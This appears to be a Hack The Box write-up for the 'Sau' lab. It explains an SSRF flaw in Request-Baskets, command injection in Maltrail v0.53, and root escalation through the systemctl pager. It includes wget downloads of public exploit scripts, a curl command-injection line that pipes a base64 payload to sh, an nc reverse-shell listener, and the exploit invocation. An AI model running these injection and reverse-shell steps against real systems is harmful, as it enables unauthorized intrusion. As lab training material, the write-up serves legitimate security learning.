HTB_Labs:Sau

Enumeration

I ran a nmap scan which revealed ssh and a web service running.

Request-Baskets version 1.2.1 contains a critical Server-Side Request Forgery (SSRF) vulnerability via the /api/baskets/{name} endpoint. This flaw permits unauthenticated attackers to abuse the forward_url parameter, enabling them to interact with restricted internal network resources and access sensitive information.

Vulnerability Overview

• Vulnerability Type: Server-Side Request Forgery (SSRF)
• Affected Versions: request-baskets <= 1.2.1
• Assigned CVE: CVE-2023–27163

SSRF is called Server-Side Request Forgery: you’re forging requests that the server sends on your behalf.

Request-Baskets is an open-source web service (self-hosted tool) for collecting, inspecting, and testing arbitrary HTTP requests. It’s commonly used by developers to debug webhooks, notifications, REST API clients, etc.

You create “baskets” (virtual endpoints), send requests to them (e.g., http://your-server/basket-name),,) and the service logs/inspects them via a web UI or REST API. It mimics older services like RequestBin.

Tech Stack / Framework

• Written in Go (Golang) — The entire backend is pure Go (see main.go, handlers.go, baskets.go, etc. on GitHub).
• No heavy web framework like Spring/Django — it uses Go’s standard net/http with custom handlers.
• Supports multiple storage backends: in-memory, BoltDB (embedded), PostgreSQL, or MySQL.
• Comes with a simple web UI (HTML + CSS/JS) and a full RESTful API.
• Often deployed via Docker.

Repo: https://github.com/darklynx/request-baskets

What is a Basket?

A basket is just a temporary mailbox for HTTP requests.

Suppose you create a basket called:

basket1

Request Baskets gives you a URL:

http://server:55555/api/baskets/basket1

Now if someone sends:

curl -X POST http://server:55555/api/baskets/basket1 \
-d "hello"

the basket receives it and stores:

POST
Body: hello
Headers: ..

Think:

Email Inbox
     ↑
Stores emails

Basket
     ↑
Stores HTTP requests

That’s the basic role of a basket.

What is Forwarding?

Normally:

You
 │
 ▼
Basket

The basket stores the request.

End of story.

With forwarding enabled:

You
 │
 ▼
Basket
 │
 ▼
Another Website

The basket acts like a middleman.

Example:

You send:

curl http://basket-url

The basket receives it.

Then the basket automatically sends the same request to:

https://google.com

and gets the response.

Think of it like a receptionist.

Without forwarding:

You → Receptionist

Receptionist writes down your message.

With forwarding:

You → Receptionist → Manager

The receptionist passes the message along.

Why does this exist?

Suppose you’re debugging a webhook.

You want to see:

1. What request arrived?
2. What happens when it’s forwarded?

So the basket:

• Stores the request
• Optionally forwards it elsewhere

Very useful for developers.

EXPLOITATION

The developer expected forwarding like:

Basket
  │
  ▼
https://google.com

or

Basket
  │
  ▼
https://myserver.com

But Request Baskets also allows:

Basket
  │
  ▼
http://127.0.0.1:80

which is the same machine.

Now the basket becomes a proxy into the internal network.

You
 │
 ▼
Basket (55555)
 │
 ▼
127.0.0.1:80

You cannot reach 127.0.0.1:80 directly.

But the basket can.

That’s why the forwarding feature creates the SSRF vulnerability.

One sentence

A basket is a place that receives and records HTTP requests, and the forwarding feature lets it automatically resend those requests to another URL. On Sau, that forwarding feature can be abused to resend requests to internal services.

I got this exploit from wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh

./CVE-2023–27163.sh http://10.129.229.26:55555 http://127.0.0.1:80/

then trigger the exploit by this:curl http://<target-ip>:55555/<basket-name>

On the Sau HTB machine, after exploiting Request Baskets SSRF, you discover another application called Maltrail.

What is Maltrail?

Maltrail GitHub Project

Maltrail is an open-source malicious traffic detection system. It monitors network traffic and looks for suspicious IPs, domains, URLs, and other indicators of compromise using threat intelligence feeds and blacklists.

Think of it as:

Network Traffic
      │
      ▼
   Maltrail
      │
      ├── Checks IPs
      ├── Checks Domains
      ├── Checks URLs
      └── Generates Alerts

Why is it important on Sau?

The SSRF vulnerability in Request Baskets lets you access an internal Maltrail web interface that isn’t exposed externally.

The attack path is roughly:

You
 │
 ▼
Request Baskets (55555)
 │
 ▼
Internal Maltrail Service

Once you reach Maltrail, you enumerate its version and look for vulnerabilities in that version to continue gaining access to the machine.

After using SSRF to reach the internal Maltrail panel, you find a vulnerable version of Maltrail (v0.53).

A flaw in its login/error handling functionality allows an attacker to inject operating system commands, leading to Remote Code Execution (RCE).

• The developer wrote code like this (in core/httpd.py):

Python

username = params.get("username")
subprocess.check_output(f"some-log-command {username}", shell=True)

• They used subprocess.check_output(…, shell=True) which passes the username directly to the shell.
• There is zero input validation or sanitization on the username field.
• This means anything you type in username gets executed as a Linux command.

The Trick: In Linux/bash, the semicolon ; separates commands.

So if you send:

text

username = test; whoami

The server actually runs:

text

some-log-command test; whoami

→ It runs the normal log command, then runs whoami.

This is Command Injection.

To exploit this i found wget https://raw.githubusercontent.com/spookier/Maltrail-v0.53-Exploit/main/exploit.py -O maltrail_exploit.py

python exploit.

2. How the Exploit Script Works (Step by Step)

The script you downloaded (exploit.py) does the following:

1. Takes 3 inputs:

• Your IP (where you want the shell to connect back)
• Your port (e.g. 4444)
• The target URL (your basket: http://10.129.229.26:55555/ikeedn))

1. Builds a reverse shell payload (a small script that connects back to you).
2. Encodes it in Base64 (to avoid breaking the request).
3. Sends it through the basket using a crafted curl command like this:

Bash

curl 'http://10.129.229.26:55555/ikeedn/login' \
  --data 'username=;echo "BASE64_PAYLOAD" | base64 -d | sh'

• The ; breaks out of the original command.
• Everything after ; gets executed on the server.
• The payload runs → opens a reverse shell back to your nc listener.

Because we access it via the SSRF basket, the request goes through Request-Baskets → to the internal Maltrail service.

Summary (Chain of Attack)

1. SSRF (Request-Baskets) → Allows us to talk to internal Maltrail (port 80).
2. Command Injection (Maltrail) → Allows us to run any Linux command as user puma.
3. Reverse Shell → Gives us interactive access.

Bash

nc -lvnp 4444

Then run the exploit (replace with your real VPN IP):

Bash

python3 maltrail_exploit.py YOUR_VPN_IP 4444 http://10.129.229.26:55555/ikeedn

got the user shell.

Next: Privilege Escalation to Root

Lets check what all can our user run as sudo without a password using sudo -l command

What is systemctl?

Remember:

systemd = Linux service manager (PID 1)

systemctl = command used to talk to systemd

What does status do?

When you run:

systemctl status trail.service

systemd shows:

Service name
Running status
Recent logs
Errors

Sometimes the output is long.

What is a pager?

A pager is any program that lets you read text page by page.

Examples:

less
more
most

These are all pagers.

Step 5: Why does !sh work?

Inside less:

!command

means:

Execute a shell command.

Examples:

!date
!id
!whoami

Less executes those commands.